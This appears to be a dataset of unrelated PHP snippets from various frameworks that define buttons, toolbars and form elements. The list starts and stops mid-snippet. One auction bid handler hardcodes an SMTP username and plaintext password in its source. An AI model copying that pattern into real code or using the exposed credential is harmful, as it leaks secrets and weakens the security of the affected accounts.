'label' => 'Resume',\n 'onclick' => \"window.setLocation('{$this->getResumeUrl()}')\"\n ));\n }\n }", "public function create()\n {\n //KEMUDIAN DI DALAMNYA KITA MENJALANKAN FUNGSI UNTUK MENGOSONGKAN FIELD\n $this->resetFields();\n //DAN MEMBUKA MODAL\n $this->openModal();\n }", "protected function initDefaultButtons()\n {\n if (!isset($this->buttons['create'])) {\n $this->buttons['create'] = function ($url, $model, $key) {\n return Html::a('<span class=\"glyphicon glyphicon-plus\"></span>', $url, [\n 'title' => Yii::t('app','create'),\n 'class' => 'btn btn-default btn-xs'\n ]);\n };\n }\n if (!isset($this->buttons['view'])) {\n $this->buttons['view'] = function ($url, $model, $key) {\n return Html::a('<span class=\"glyphicon glyphicon-eye-open\"></span>', $url, [\n 'title' => Yii::t('app','Look'),\n 'class' => 'btn btn-default btn-xs'\n ]);\n };\n }\n if (!isset($this->buttons['update'])) {\n $this->buttons['update'] = function ($url, $model, $key) {\n return Html::a('<span class=\"glyphicon glyphicon-pencil\"></span>', $url, [\n 'title' => Yii::t('app','Update User'),\n 'class' => 'btn btn-default btn-xs'\n ]);\n };\n }\n if (!isset($this->buttons['delete'])) {\n $this->buttons['delete'] = function ($url, $model, $key) {\n return Html::a('<span class=\"glyphicon glyphicon-trash\"></span>', $url, [\n 'title' => Yii::t('app','Delete'),\n 'data-method' => 'post',\n 'data-confirm' => Yii::t('yii', 'Are you sure you want to delete this item?'),\n 'class' => 'btn btn-default btn-xs'\n ]);\n };\n }\n }", "public function addButtons()\n {\n if ($this->isCreateButtonRequired()) {\n $this->getToolbar()->addChild('bluemedia_return', Button::class, [\n 'label' => __('Return BM'),\n 'onclick' => 'BlueMedia.BluePayment.showPopup();'\n ]);\n }\n\n return $this;\n }", "function dapper_button($variables) {\n $element = $variables['element'];\n\n $element['#attributes']['type'] = 'submit';\n if ($element['#type'] == \"button\") {\n element_set_attributes($element, array('id', 'name', 'title'));\n return '<button' . drupal_attributes($element['#attributes']) . '>' . $element['#value'] . '</button>';\n\n } else {\n element_set_attributes($element, array('id', 'name', 'value'));\n\n $element['#attributes']['class'][] = 'form-' . $element['#button_type'];\n if (!empty($element['#attributes']['disabled'])) {\n $element['#attributes']['class'][] = 'form-button-disabled';\n }\n\n return '<input' . drupal_attributes($element['#attributes']) . ' />';\n\n }\n}", "function newButton($view) {\n\t\t$str = '<a class=\"button is-primary\" href=\"?do=edit&amp;view='.$view.'\">New</a>';\n\t\treturn $str;\n\t}", "public function cerraModal(){\n\n $this->folio='';\n\n $this->nombre= ''; \n\n $this->apellido_p= '';\n\n $this->apellido_m= '';\n\n $this->puesto= ''; \n }", "function bg_AddBeyondGrammarButton($buttons){\n array_push($buttons, \"separator\", \"BeyondGrammar\");\n return $buttons;\n}", "protected function prepareButtons()\n\t{\n\t\tparent::prepareButtons();\n\t\t$this->xt->assign(\"save_button\", false);\n\t\t$this->xt->assign(\"view_page_button\", false );\n\t\t\n\t\t$this->xt->assign(\"updsel_button\", true);\n\t\t$this->xt->assign(\"updselbutton_attrs\", \"id=\\\"saveButton\".$this->id.\"\\\"\" );\n\t\t\n\t\t$label = str_replace( \"%n%\", $this->nSelected, \"Update %n% records\" );\n\t\t$this->xt->assign(\"update_selected\", $label );\n\t}", "public function getArrButtons()\n\t\t{\n\t\t}", "public function makeSplitButton() {}", "protected function createButtons()\n {\n $buttonBar = $this->view->getModuleTemplate()->getDocHeaderComponent()->getButtonBar();\n\n $uriBuilder = $this->objectManager->get(UriBuilder::class);\n $uriBuilder->setRequest($this->request);\n\n if ($this->request->getControllerActionName() === 'index') {\n $toggleButton = $buttonBar->makeLinkButton()\n ->setHref('#')\n ->setDataAttributes([\n 'togglelink' => '1',\n 'toggle' => 'tooltip',\n 'placement' => 'bottom',\n ])\n ->setTitle($this->getLanguageService()->sL('LLL:EXT:news/Resources/Private/Language/locallang_be.xlf:administration.toggleForm'))\n ->setIcon($this->iconFactory->getIcon('actions-filter', Icon::SIZE_SMALL));\n $buttonBar->addButton($toggleButton, ButtonBar::BUTTON_POSITION_LEFT, 1);\n }\n\n $buttons = [\n [\n 'table' => 'tx_news_domain_model_news',\n 'label' => 'module.createNewNewsRecord',\n 'action' => 'newNews',\n 'icon' => 'ext-news-type-default'\n ],\n [\n 'table' => 'tx_news_domain_model_tag',\n 'label' => 'module.createNewTag',\n 'action' => 'newTag',\n 'icon' => 'ext-news-tag'\n ],\n [\n 'table' => 'sys_category',\n 'label' => 'module.createNewCategory',\n 'action' => 'newCategory',\n 'icon' => 'mimetypes-x-sys_category'\n ]\n ];\n foreach ($buttons as $key => $tableConfiguration) {\n if ($this->showButton($tableConfiguration['table'])) {\n $title = $this->getLanguageService()->sL('LLL:EXT:news/Resources/Private/Language/locallang_be.xlf:' . $tableConfiguration['label']);\n $viewButton = $buttonBar->makeLinkButton()\n ->setHref($uriBuilder->reset()->setRequest($this->request)->uriFor($tableConfiguration['action'],\n [], 'Administration'))\n ->setDataAttributes([\n 'toggle' => 'tooltip',\n 'placement' => 'bottom',\n 'title' => $title])\n ->setTitle($title)\n ->setIcon($this->iconFactory->getIcon($tableConfiguration['icon'], Icon::SIZE_SMALL, 'overlay-new'));\n $buttonBar->addButton($viewButton, ButtonBar::BUTTON_POSITION_LEFT, 2);\n }\n }\n\n $clipBoard = GeneralUtility::makeInstance(Clipboard::class);\n $clipBoard->initializeClipboard();\n $elFromTable = $clipBoard->elFromTable('tx_news_domain_model_news');\n if (!empty($elFromTable)) {\n $viewButton = $buttonBar->makeLinkButton()\n ->setHref($clipBoard->pasteUrl('', $this->pageUid))\n ->setOnClick('return ' . $clipBoard->confirmMsg('pages',\n BackendUtilityCore::getRecord('pages', $this->pageUid), 'into',\n $elFromTable))\n ->setTitle($this->getLanguageService()->sL('LLL:EXT:lang/locallang_mod_web_list.xlf:clip_pasteInto'))\n ->setIcon($this->iconFactory->getIcon('actions-document-paste-into', Icon::SIZE_SMALL));\n $buttonBar->addButton($viewButton, ButtonBar::BUTTON_POSITION_LEFT, 4);\n }\n\n // Refresh\n $path = VersionNumberUtility::convertVersionNumberToInteger(TYPO3_branch) >= VersionNumberUtility::convertVersionNumberToInteger('8.6') ? 'Resources/Private/Language/' : '';\n $refreshButton = $buttonBar->makeLinkButton()\n ->setHref(GeneralUtility::getIndpEnv('REQUEST_URI'))\n ->setTitle($this->getLanguageService()->sL('LLL:EXT:lang/' . $path . 'locallang_core.xlf:labels.reload'))\n ->setIcon($this->iconFactory->getIcon('actions-refresh', Icon::SIZE_SMALL));\n $buttonBar->addButton($refreshButton, ButtonBar::BUTTON_POSITION_RIGHT);\n }", "public function add_page_button($button) {\n $this->buttons[]=$button;\n }", "function buttons($type='',$name='',$value='',$class='',$id='',$attrib='') {\n\t\t$button = '<input type=\"'.$type.'\" name=\"'.$name.'\" class=\"'.$class.'\" value=\"'.$value.'\" id=\"'.$id.'\" '.$attrib.'>';\n\t\techo $button;\n\t}", "function addButton($label='Continue'){\n if(!is_array($label)){\n $label=array($label, 'icon-r'=>'right-big');\n }\n return $this->add('Button',null,'Button')\n ->set($label);\n }", "function setAgregarUnPais(){\n\t\t$this->comienza_con++;\n\t}", "public function renderCreateButton()\n {\n return new Tools\\CreateButton($this);\n }", "public function addButton($value, $attr = array()){\n $field = new Form_Field_Button(\"\");\n $field->setDefaultValue($value);\n foreach($attr as $key => $value) $field->attr->add($key, $value);\n $this->buttons[] = $field;\n return $field;\n }", "public function prihozFormSucceeded($button) \n {\n $id = (int) $this->getParameter('id'); \n $values = $button->getForm()->getValues(true);\n $values['datum_vkladu'] = date('Y-m-d H:i:s');\n if ($values['pocet'] == $this->database->findAll('drazba')->where('id_nemovitost', $values['id_nemovitost'])->count('*'))\n { // pokud se shoduji pocty prihozu pri nacteni a tesne pred prihozenim, pak vse ok \n unset($values['pocet']);\n\n // priprava promennych pro poslani emailu o prehozeni\n $nemovitost = $this->database->findById('nemovitost', $id);\n $prihozy = $this->database->findAll('drazba')->where('id_nemovitost', $id);\n $drazba = $this->drazba->vyhodnotDrazbu($id, $prihozy);\n \n if($drazba[\"email\"] != null || $drazba[\"email\"] != \"\") \n {\n\n // nastaveni parametru pro latte emailu\n $latte = new Nette\\Latte\\Engine;\n $params = array(\n 'nemovitost' => $nemovitost,\n 'uzivatel' => $drazba[\"jmeno\"],\n 'cena' => $drazba[\"cena\"] + $values[\"vkladana_castka\"],\n );\n\n // nastaveni mailu\n $mail = new Nette\\Mail\\Message;\n $mail->setFrom('[email protected]')\n ->addTo($drazba[\"email\"])\n ->setHtmlBody($latte->renderToString(__DIR__ . '/../templates/Aukce/email.latte', $params));\n\n // poslani mailu\n $mailer = new Nette\\Mail\\SmtpMailer(array(\n 'host' => 'smtp.seznam.cz',\n 'username' => '[email protected]',\n 'password' => 'pps2015',\n 'secure' => 'ssl',\n ));\n $mailer->send($mail);\n }\n\n // prihozeni\n $this->database->insert('drazba', $values);\n $this->flashMessage('Přihodil(a) jste '. number_format($values['vkladana_castka']) .' Kč.');\n $this->redirect('Nemovitosti:detailNemovitosti', $values['id_nemovitost']);\n\n } else {\n \n $this->flashMessage('Znovu zvažte přihození, někdo před Vámi ještě navýšil cenu.');\n $this->redirect('Aukce:prihodit', $values['id_nemovitost']);\n }\n }", "public function no_button() { $this->button = NULL; }", "function register_button($buttons) {\n\t\t\t/*print( \"\\n<!-- Preparing to add the umw_widget_short MCE button. -->\\n\" );\n\t\t\tprint( \"\\n<!-- The current buttons array looks like:\\n\" . print_r( $buttons, true ) . \"\\n-->\\n\" );*/\n\t\t\tarray_push($buttons, 'umw_widget_short');\n\t\t\t/*print( \"\\n<!-- The updated buttons array looks like:\\n\" . print_r( $buttons, true ) . \"\\n-->\\n\" );*/\n\t\t\treturn $buttons;\n\t\t}", "function form_init_elements() \r\n {\r\n //we want an confirmation page for this form.\r\n //$this->set_confirm();\r\n\r\n //Crea una caja de texto llamada nombre y longitud 50\r\n $elemT = new FEText(\"Asunto\", FALSE, 50);\r\n //$elemT->set_style_attribute('align', 'right');\r\n //Le asignamos el id nombre y la tecla de acceso n (ctrl+n)\r\n $elemT->set_attribute(\"id\",\"asunto\");\r\n $elemT->set_attribute(\"accesskey\",\"n\"); \r\n //Añade en el contenedor formulario el elemento creado e inicializado\r\n $this->add_element($elemT);\r\n\t\r\n //Creamos un Area de Texto llamada comentario\r\n $elemTA = new FETextArea(\"Comentario\", FALSE, 10, 60,\"500px\", \"100px\");\r\n $elemTA->set_attribute('wrap', 'physical');\r\n //Le asignamos el id email y la tecla de acceso c (ctrl+c) \r\n $elemTA->set_attribute(\"id\",\"comentario\");\r\n $elemTA->set_attribute(\"accesskey\",\"d\");\r\n //Añade en el contenedor formulario el elemento creado e inicializado\r\n $this->add_element($elemTA);\r\n\r\n //Añade un campo oculto llamado id. En ocasiones este campo se utiliza para indicar ciertas operaciones.\r\n //OJO!! es un punto sensible porque el usuario podría cambiar su valor de forma inexperada para el código.\r\n// $this->add_hidden_element(\"id\");\r\n\r\n //Añade un boton con la acción submit\r\n $submit = $this->_formatElem(\"base_SubmitButton\", \"Aceptar\", \"submit\", agt(\"miguel_Enter\"));\r\n //$submit->set_attribute('id',''); \r\n $submit->set_attribute('accesskey','e'); \r\n $this->add_element($submit); \r\n\t\t\t\t\r\n\t\t\t\t$this->add_hidden_element('status');\r\n \t\t$this->set_hidden_element_value('status', 'new');\r\n }", "function todos_los_botones($buttons) {\n\n$buttons[] = 'fontselect'; //Selector de tipo de fuente\n$buttons[] = 'fontsizeselect'; //Selector de tamaño de fuente\n$buttons[] = 'styleselect'; //Selector de estilos de párrafo mucho más amplio\n$buttons[] = 'backcolor'; //Color de fondo de párrafo\n$buttons[] = 'newdocument'; //Nuevo documento inline\n$buttons[] = 'cut'; //Cortar texto\n$buttons[] = 'copy'; //Copiar texto\n$buttons[] = 'charmap'; //Mapa de caracteres\n$buttons[] = 'hr'; //Línea horizontal\n$buttons[] = 'visualaid'; //Ayudas visuales del editor\n\nreturn $buttons;\n}", "public function getButtonOptions()\r\n {\r\n $out = array();\r\n\r\n// if ($this->getChatHelper()->getButtonShow() || $this->getForceButtonDisplay()) {\r\n// $out[] = \"\\$zopim.livechat.button.show()\";\r\n// } else {\r\n// $out[] = \"\\$zopim.livechat.button.hide()\";\r\n// }\r\n\r\n if (strlen($this->getChatHelper()->getButtonPosition()) > 0) {\r\n $out[] = \"\\$zopim.livechat.button.setPosition('\" . $this->getChatHelper()->getButtonPosition() . \"')\";\r\n $out[] = \"\\$zopim.livechat.window.setPosition('\" . $this->getChatHelper()->getButtonPosition() . \"')\";\r\n }\r\n\r\n if (strlen($this->getChatHelper()->getButtonPositionMobile()) > 0) {\r\n $out[] = \"\\$zopim.livechat.button.setPositionMobile('\" . $this->getChatHelper()->getButtonPositionMobile() . \"')\";\r\n }\r\n\r\n if ($this->getChatHelper()->getButtonHideOffline()) {\r\n $out[] = \"\\$zopim.livechat.button.setHideWhenOffline(1)\";\r\n }\r\n\r\n// if (($this->getChatHelper()->getWidgetApi() == 'new')) {\r\n// if (strlen($this->getChatHelper()->getButtonOffsetVertical()) > 0) {\r\n// $out[] = \"\\$zopim.livechat.button.setOffsetVertical('\" . $this->getChatHelper()->getButtonOffsetVertical() . \"')\";\r\n// }\r\n//\r\n// if (strlen($this->getChatHelper()->getButtonOffsetHorizontal()) > 0) {\r\n// $out[] = \"\\$zopim.livechat.button.setOffsetHorizontal('\" . $this->getChatHelper()->getButtonOffsetHorizontal() . \"')\";\r\n// }\r\n// }\r\n\r\n if (count($out) > 0) {\r\n return implode(';' . \"\\n\", $out). ';' . \"\\n\";\r\n }\r\n return null;\r\n }", "function CreateButton()\n\t{\n\t\t$button = new Button('Click Me!', $this->CurrentLeft, $this->CurrentTop, 150);\n\t\t/* Adds the Button object to the WebPage's ArrayList called Controls.\n\t\t Without this line, a Button is merely created, but will\n\t\t not be displayed. */\n\t\t$this->Controls->Add($button);\n\t\t/* Increases the class variable for Left by 50 pixels so that subsequent\n\t\t Buttons will appear to the right. */\n\t\t$this->CurrentLeft += 50;\n\t\t/* Increases the class variable for Top by 30 pixels so that subsequent\n\t\t Buttons will appear below. */\n\t\t$this->CurrentTop += 30;\n\t\t/* Sets the Click Event for this Button to call the\n\t\t CreateButton function of this object. Thus, every\n\t\t Button will be able to create other Buttons. \n\t\t \n\t\t The first parameter tells NOLOH in which class definition the event\n\t\t is defined. The second parameter is the name of the event to be\n\t\t called. */\n\t\t$button->Click = new ServerEvent($this, 'CreateButton');\n\t\t/* The following line demonstrates two more aspects\n\t\t of Events. First of all, we can use the Click[] = \n\t\t notation to append another ServerEvent to the Click. \n\t\t Thus, Events can be treated like arrays in NOLOH. Now\n\t\t the Click will perform two separate tasks in the defined order.\n\t\t Secondly, a ServerEvent does not have to call a\n\t\t function of the $this object, but it can be any\n\t\t object whatsoever. We will call a function of the\n\t\t Button itself, namely, SetText, to set the Text\n\t\t to something else. Parameters to functions are given\n\t\t by any additional parameters to ServerEvent, so\n\t\t the button's text will be set to 'Thanks! Click Again!'\n\t\t In short, clicking on the button will perform the\n\t\t statement: $button->SetText('Thanks! Click Again!'); */\n\t\t$button->Click[] = new ServerEvent($button, 'SetText', 'Thanks! Click Again!');\n\t\t/* In summary, clicking on any Button will make another\n\t\t Button below and to the right of the clicked button, as well\n\t\t as change the clicked button's Text (or label). */\n\t}", "function form_button($buttons = \"\") {\n\t\tif ($this->block == true)\n\t\t\t$buttons = \"fehler\";\n\n\t\t$btn['submit'] = \"<input accesskey='8' value=\\\"OK, Speichern\\\" class=\\\"submitbutton buttons\\\" type=\\\"submit\\\" />\";\n\t\t$btn['reset'] = \"<input accesskey='9' value=\\\"Eingaben l&ouml;schen\\\" class=\\\"resetbutton buttons\\\" type=\\\"reset\\\" />\";\n\t\t$btn['ex'] = \"<input accesskey='7' value=\\\"Beispiel..\\\" type=\\\"button\\\" class=\\\"examplebutton buttons\\\" onClick=\\\"set_examples();\\\" />\";\n\n\t\tswitch ($buttons) {\n\t\t\tdefault :\n\t\t\tcase 'ok_reset' :\n\t\t\t\t$r = \"<td colspan=\\\"3\\\" align=\\\"right\\\">\".$btn['submit'].\"&nbsp;\".$btn['reset'].\"</td>\";\n\t\t\t\tbreak;\n\t\t\tcase 'ex__ok_reset' :\n\t\t\t\t$r = \"<td>\".$btn['ex'].\"</td><td colspan=\\\"2\\\" align=\\\"right\\\">\".$btn['submit'].\"&nbsp;\".$btn['reset'].\"</td>\";\n\t\t\t\t$this->add_hidden_field(\"hiddenexample\", 0); // for examplebutton\n\t\t\t\t$this->special_form = \"onChange=\\\"document.myform.hiddenexample.value=0\\\"\";\n\t\t\t\tbreak;\n\t\t\tcase 'fehler' :\n\t\t\t\t$r = \"<td colspan=\\\"3\\\" align=\\\"center\\\" class=\\\"error\\\">Ich konnte notwendige Daten f&uuml;r dieses Formular nicht laden. <br />L&ouml;sung: \".$this->block.\"</td>\";\n\t\t\t\tbreak;\n\t\t}\n\t\treturn \"<tr>\".$r.\"</tr>\";\n\t}", "public function getDefaultButton() {}", "protected function makeButtons()\n {\n if ($this->MOD_SETTINGS['function'] == 1 || $this->MOD_SETTINGS['function'] == 2) {\n // Add CSH (Context Sensitive Help) icon to tool bar\n $contextSensitiveHelpButton = $this->buttonBar->makeHelpButton()\n ->setModuleName($this->descrTable)\n ->setFieldName('columns_' . $this->MOD_SETTINGS['function']);\n $this->buttonBar->addButton($contextSensitiveHelpButton);\n }\n $lang = $this->getLanguageService();\n // View page\n if (!VersionState::cast($this->pageinfo['t3ver_state'])->equals(VersionState::DELETE_PLACEHOLDER)) {\n $viewButton = $this->buttonBar->makeLinkButton()\n ->setOnClick(BackendUtility::viewOnClick($this->pageinfo['uid'], '', BackendUtility::BEgetRootLine($this->pageinfo['uid'])))\n ->setTitle($lang->sL('LLL:EXT:lang/Resources/Private/Language/locallang_core.xlf:labels.showPage'))\n ->setIcon($this->iconFactory->getIcon('actions-document-view', Icon::SIZE_SMALL))\n ->setHref('#');\n\n $this->buttonBar->addButton($viewButton, ButtonBar::BUTTON_POSITION_LEFT, 3);\n }\n // Shortcut\n $shortcutButton = $this->buttonBar->makeShortcutButton()\n ->setModuleName($this->moduleName)\n ->setGetVariables([\n 'id',\n 'M',\n 'edit_record',\n 'pointer',\n 'new_unique_uid',\n 'search_field',\n 'search_levels',\n 'showLimit'\n ])\n ->setSetVariables(array_keys($this->MOD_MENU));\n $this->buttonBar->addButton($shortcutButton);\n\n // Cache\n if (empty($this->modTSconfig['properties']['disableAdvanced'])) {\n $clearCacheButton = $this->buttonBar->makeLinkButton()\n ->setHref(BackendUtility::getModuleUrl($this->moduleName, ['id' => $this->pageinfo['uid'], 'clear_cache' => '1']))\n ->setTitle($lang->sL('LLL:EXT:lang/Resources/Private/Language/locallang_core.xlf:labels.clear_cache'))\n ->setIcon($this->iconFactory->getIcon('actions-system-cache-clear', Icon::SIZE_SMALL));\n $this->buttonBar->addButton($clearCacheButton, ButtonBar::BUTTON_POSITION_RIGHT, 1);\n }\n if (empty($this->modTSconfig['properties']['disableIconToolbar'])) {\n // Edit page properties and page language overlay icons\n if ($this->pageIsNotLockedForEditors() && $this->getBackendUser()->checkLanguageAccess(0)) {\n // Edit localized page_language_overlay only when one specific language is selected\n if ($this->MOD_SETTINGS['function'] == 1 && $this->current_sys_language > 0) {\n $queryBuilder = GeneralUtility::makeInstance(ConnectionPool::class)\n ->getQueryBuilderForTable('pages_language_overlay');\n $queryBuilder->getRestrictions()\n ->removeAll()\n ->add(GeneralUtility::makeInstance(DeletedRestriction::class))\n ->add(GeneralUtility::makeInstance(BackendWorkspaceRestriction::class));\n $overlayRecord = $queryBuilder\n ->select('uid')\n ->from('pages_language_overlay')\n ->where(\n $queryBuilder->expr()->eq(\n 'pid',\n $queryBuilder->createNamedParameter($this->id, \\PDO::PARAM_INT)\n ),\n $queryBuilder->expr()->eq(\n 'sys_language_uid',\n $queryBuilder->createNamedParameter($this->current_sys_language, \\PDO::PARAM_INT)\n )\n )\n ->setMaxResults(1)\n ->execute()\n ->fetch();\n // Edit button\n $urlParameters = [\n 'edit' => [\n 'pages_language_overlay' => [\n $overlayRecord['uid'] => 'edit'\n ]\n ],\n 'returnUrl' => GeneralUtility::getIndpEnv('REQUEST_URI')\n ];\n $url = BackendUtility::getModuleUrl('record_edit', $urlParameters);\n $editLanguageButton = $this->buttonBar->makeLinkButton()\n ->setHref($url)\n ->setTitle($lang->getLL('editPageLanguageOverlayProperties'))\n ->setIcon($this->iconFactory->getIcon('mimetypes-x-content-page-language-overlay', Icon::SIZE_SMALL));\n $this->buttonBar->addButton($editLanguageButton, ButtonBar::BUTTON_POSITION_LEFT, 3);\n }\n $urlParameters = [\n 'edit' => [\n 'pages' => [\n $this->id => 'edit'\n ]\n ],\n 'returnUrl' => GeneralUtility::getIndpEnv('REQUEST_URI')\n ];\n $url = BackendUtility::getModuleUrl('record_edit', $urlParameters);\n $editPageButton = $this->buttonBar->makeLinkButton()\n ->setHref($url)\n ->setTitle($lang->getLL('editPageProperties'))\n ->setIcon($this->iconFactory->getIcon('actions-page-open', Icon::SIZE_SMALL));\n $this->buttonBar->addButton($editPageButton, ButtonBar::BUTTON_POSITION_LEFT, 3);\n }\n }\n }", "public function addButton(TDProject_Core_Interfaces_Block_Widget_Button $block);", "public function __construct($buttonName)\n {\n $this->buttonName = $buttonName;\n }", "static public function ctrCrearPais(){\n\t\tif(isset($_POST[\"accionPais\"]) && $_POST[\"accionPais\"] == \"crear\"){\n\t\t\t$fecha = date('Y-m-d');\n\t\t\t$hora = date('H:i:s');\n\t\t\t$fechaActual = $fecha.' '.$hora;\n\t\t\t$tabla = 'vtama_pais';\n\t\t\t$codPais = maximoCodigoTabla($tabla,'cod_pais','PAIS');\n\t\t\t$datos = array(\"cod_pais\" => $codPais,\n\t\t\t\t\t\t \"dsc_pais\" => ms_escape_string(trim($_POST[\"nombrePais\"])),\n\t\t\t\t\t\t \"cod_usr_registro\" => $_SESSION[\"cod_trabajador\"],\n\t\t\t\t\t\t \"fch_registro\" => $fechaActual);\n\t\t\t$respuesta = ModeloPaises::mdlIngresarPais($tabla,$datos);\n\t\t\treturn $respuesta;\n\t\t}//if\n\t}", "public function getPluginButtons() {}", "protected function getButtons()\t{\n\n\t\t$buttons = array(\n\t\t\t'csh' => '',\n\t\t\t'shortcut' => '',\n\t\t\t'save' => ''\n\t\t);\n\t\t\t// CSH\n\t\t$buttons['csh'] = t3lib_BEfunc::cshItem('_MOD_web_func', '', $GLOBALS['BACK_PATH']);\n\n\t\t\t// SAVE button\n\t\t// $buttons['save'] = '<input type=\"image\" class=\"c-inputButton\" name=\"submit\" value=\"Update\"' . t3lib_iconWorks::skinImg($GLOBALS['BACK_PATH'], 'gfx/savedok.gif', '') . ' title=\"' . $GLOBALS['LANG']->sL('LLL:EXT:lang/locallang_core.php:rm.saveDoc', 1) . '\" />';\n\n\n\t\t\t// Shortcut\n\t\tif ($GLOBALS['BE_USER']->mayMakeShortcut())\t{\n\t\t\t$buttons['shortcut'] = $this->doc->makeShortcutIcon('', 'function', $this->MCONF['name']);\n\t\t}\n\n\t\treturn $buttons;\n\t}", "public function buttonbar (\\stdClass $param);", "function evt__agregar()\n\t{\n\t\t$this->set_pantalla('pant_edicion');\n\t}", "function btn_register_mce_button( $buttons ) {\n\tarray_push( $buttons, 'btn_mce_button' );\n\treturn $buttons;\n}", "public function init()\n {\n parent::init();\n\n $this->idPronac = $this->getRequest()->getParam('idPronac');\n $this->idDiligencia = $this->getRequest()->getParam('idDiligencia');\n $this->idAvaliacaoProposta = $this->getRequest()->getParam('idAvaliacaoProposta');\n $this->situacao = $this->getRequest()->getParam('situacao');\n $this->tpDiligencia = $this->getRequest()->getParam('tpDiligencia');\n $this->idProduto = $this->getRequest()->getParam('idProduto');\n\n if ($this->tpDiligencia) {\n $GrupoAtivo = new Zend_Session_Namespace('GrupoAtivo'); // cria a sess�o com o grupo ativo\n $urlArray = array('controller' => 'verificarreadequacaodeprojeto');\n\n // ajusta o link de voltar de acordo com o tipo de dilignecia\n if ($GrupoAtivo->codGrupo == 122) { // diligencia na readequacao - coordenador acompanhamento\n $this->btnVoltar = $this->view->url(array_merge($urlArray, array('action' => 'verificarreadequacaodeprojetocoordacompanhamento')));\n } elseif ($this->tpDiligencia == 171) { // diligencia na readequacao - tecnico acompanhamento\n $this->btnVoltar = $this->view->url(array_merge($urlArray, array('action' => 'verificarreadequacaodeprojetotecnico')));\n } elseif ($this->tpDiligencia == 179) { // diligencia na readequacao - parecerista\n $this->btnVoltar = $this->view->url(array_merge($urlArray, array('action' => 'verificarreadequacaodeprojetoparecerista')));\n } else {\n $this->btnVoltar = 'javascript:voltar()';\n }\n }\n\n $this->view->btnVoltar = $this->btnVoltar; // botao voltar dinamico\n }", "function drawButtonsDefault() {\r\n global $objectClass, $planningType, $showListFilter;\r\n ?>\r\n <table style=\"width:10px\">\r\n <tr>\r\n <?php \r\n if ($planningType=='planning' or $planningType=='resource' or $planningType=='global' or $planningType=='version') {?>\r\n <td colspan=\"1\" width=\"51px\" style=\"<?php if (isNewGui()) echo 'padding-right: 5px;';?>\">\r\n <?php // ================================================================= NEW ?>\r\n <?php if ($planningType=='version') {?><div id =\"addNewActivity\" style=\"visibility:<?php echo ($showListFilter=='true')?'visible':'hidden';?>;\"><?php } ?>\r\n <div dojoType=\"dijit.form.DropDownButton\"\r\n class=\"comboButton\" \r\n id=\"planningNewItem\" jsId=\"planningNewItem\" name=\"planningNewItem\" \r\n showlabel=\"false\" class=\"\" iconClass=\"dijitButtonIcon dijitButtonIconNew\"\r\n title=\"<?php echo i18n('comboNewButton');?>\">\r\n <span>title</span>\r\n <div dojoType=\"dijit.TooltipDialog\" class=\"white\" style=\"width:200px;\"> \r\n <div style=\"font-weight:bold; height:25px;text-align:center\"><?php echo i18n('comboNewButton');?> </div>\r\n <?php \r\n $arrayItems=array('Project','Activity','Milestone','Meeting','PeriodicMeeting','TestSession');\r\n if ($planningType=='resource' or $planningType=='version') $arrayItems=array('Activity');\r\n if ($planningType=='global') $arrayItems=array_merge($arrayItems,array('Ticket','Action','Decision','Delivery','Risk','Issue','Opportunity','Question'));\r\n foreach($arrayItems as $item) {\r\n $canCreate=securityGetAccessRightYesNo('menu' . $item,'create');\r\n if ($canCreate=='YES') {\r\n if (! securityCheckDisplayMenu(null,$item) ) {\r\n $canCreate='NO';\r\n }\r\n }\r\n if ($canCreate=='YES') {?>\r\n <div style=\"vertical-align:top;cursor:pointer;\" class=\"newGuiIconText\"\r\n onClick=\"addNewItem('<?php echo $item;?>');\" >\r\n <table width:\"100%\"><tr style=\"height:22px\" >\r\n <td style=\"vertical-align:top; width: 30px;padding-left:5px\"><?php echo formatIcon($item, 22, null, false);;?></td> \r\n <td style=\"vertical-align:top;padding-top:2px\"><?php echo i18n($item)?></td>\r\n </tr></table> \r\n </div>\r\n <div style=\"height:5px;\"></div>\r\n <?php \r\n } \r\n }?>\r\n </div>\r\n </div>\r\n <?php if ($planningType=='version') {?></div><?php } ?> \r\n </td> \r\n <?php\r\n } \r\n if ($planningType=='global') {?>\r\n <td colspan=\"1\" width=\"51px\" style=\"<?php if (isNewGui()) echo 'padding-right: 5px;';?>\">\r\n <?php drawGlobalItemsSelector();?>\r\n </td> \r\n <?php \r\n } \r\n $activeFilter=false;\r\n if (is_array(getSessionUser()->_arrayFilters)) {\r\n if (array_key_exists('Planning', getSessionUser()->_arrayFilters)) {\r\n if (count(getSessionUser()->_arrayFilters['Planning'])>0) {\r\n \t foreach (getSessionUser()->_arrayFilters['Planning'] as $filter) {\r\n \t\t if (!isset($filter['isDynamic']) or $filter['isDynamic']==\"0\") {\r\n \t\t\t $activeFilter=true;\r\n \t\t }\r\n \t }\r\n }\r\n }\r\n }\r\n ?>\r\n <?php \r\n if ($planningType=='planning' or $planningType=='resource' or $planningType=='version') {?>\r\n <td colspan=\"1\" width=\"55px\" style=\"padding-left:1px\";>\r\n <?php // ================================================================= FILTER ?>\r\n <?php if ($planningType=='version') {?><div id=\"listFilterAdvanced\" style=\"visibility:<?php echo ($showListFilter=='true')?'visible':'hidden';?>;\"><?php }?>\r\n <button title=\"<?php echo i18n('advancedFilter')?>\" \r\n class=\"comboButton\"\r\n dojoType=\"dijit.form.DropDownButton\" \r\n id=\"listFilterFilter\" name=\"listFilterFilter\"\r\n iconClass=\"dijitButtonIcon icon<?php echo($activeFilter)?'Active':'';?>Filter\" showLabel=\"false\">\r\n <?php \r\n if(!isNewGui()){?>\r\n <script type=\"dojo/connect\" event=\"onClick\" args=\"evt\">\r\n showFilterDialog();\r\n </script>\r\n <script type=\"dojo/method\" event=\"onMouseEnter\" args=\"evt\">\r\n clearTimeout(closeFilterListTimeout);\r\n clearTimeout(openFilterListTimeout);\r\n openFilterListTimeout=setTimeout(\"dijit.byId('listFilterFilter').openDropDown();\",popupOpenDelay);\r\n </script>\r\n <script type=\"dojo/method\" event=\"onMouseLeave\" args=\"evt\">\r\n clearTimeout(openFilterListTimeout);\r\n closeFilterListTimeout=setTimeout(\"dijit.byId('listFilterFilter').closeDropDown();\",2000);\r\n </script>\r\n <?php \r\n }?>\r\n <div dojoType=\"dijit.TooltipDialog\" id=\"directFilterList\" style=\"z-index: 999999;<!-- display:none; --> position: absolute;\">\r\n <?php \r\n $objectClass='Planning';\r\n $dontDisplay=true;\r\n if(isNewGui())include \"../tool/displayQuickFilterList.php\";\r\n include \"../tool/displayFilterList.php\";\r\n if(!isNewGui()){?>\r\n <script type=\"dojo/method\" event=\"onMouseEnter\" args=\"evt\">\r\n clearTimeout(closeFilterListTimeout);\r\n clearTimeout(openFilterListTimeout);\r\n </script>\r\n <script 